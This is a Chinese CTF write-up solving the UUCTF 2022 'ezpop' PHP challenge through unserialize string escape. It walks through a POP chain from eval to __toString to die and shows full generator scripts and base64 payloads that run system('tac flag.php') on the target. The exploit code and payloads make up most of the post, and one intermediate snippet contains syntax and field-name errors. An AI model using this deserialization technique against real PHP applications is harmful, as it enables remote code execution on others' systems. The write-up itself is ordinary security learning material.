新手大白话 UUCTF 2022 新生赛ezpop 字符串逃逸
今天做个字符串逃逸的题目,这个题还挺不错的,不多bb直接看源码。
点击查看代码
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
刚拿到题还有点懵b,和之前做的逃逸有些不一样。我们找出代码中的注入点,发现在youwant类中出现了eval的命令执行函数,思路瞬间清晰,但是如何进行输出,发现在nothing类中有die方法,同时die也是触发tostring魔术方法的方式,因为die函数如果status是字符串,则该函数会在退出前输出字符串,好直接构造pop链。
youwant rce -> output _tostring -> nothing die
在到这里的时候我没有注意到php的版本问题,由于这里php版本是7.2.34,不能利用更改参数个数绕过wakeup,所以这里卡了好久。看到__destruct里面将t赋给了b,a不能改,但是我们可以让a、b同用一个地址,那么b发生变化,a也随之变化。
点击查看代码
papyload:
<?
class output{
public $a; // 1 youwant
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a; // 2 output
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd; // 注入点
function rce(){
eval($this->cmd);
}
}
$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
echo serialize($c);
点击查看代码
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
点击查看代码
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
点击查看代码
<?
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
$a = new UUCTF();
$a->key=""UUCTF";
$a->base64data = 刚刚生成的序列化数据的base64编码;
echo serialize($a);
点击查看代码
O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
点击查看代码
;s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
点击查看代码
{s:4:"name";s:1070:"214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
点击查看代码
214个hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oInRhYyBmbGFnLnBocCIpOyI7fX19";s:2:"ob";N;}
点击查看代码
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a; // 1 youwant
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a; // 2 output
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd; // 注入点
function rce(){
eval($this->cmd);
}
}
$a = new youwant();
$a->cmd = 'system("tac flag.php");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));
echo strlen($basedata);
echo "\n";
$post='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
for($i=0;$i<strlen($post);$i++)
{
$hacker=$hacker.'hacker';
}
echo $hacker.$post;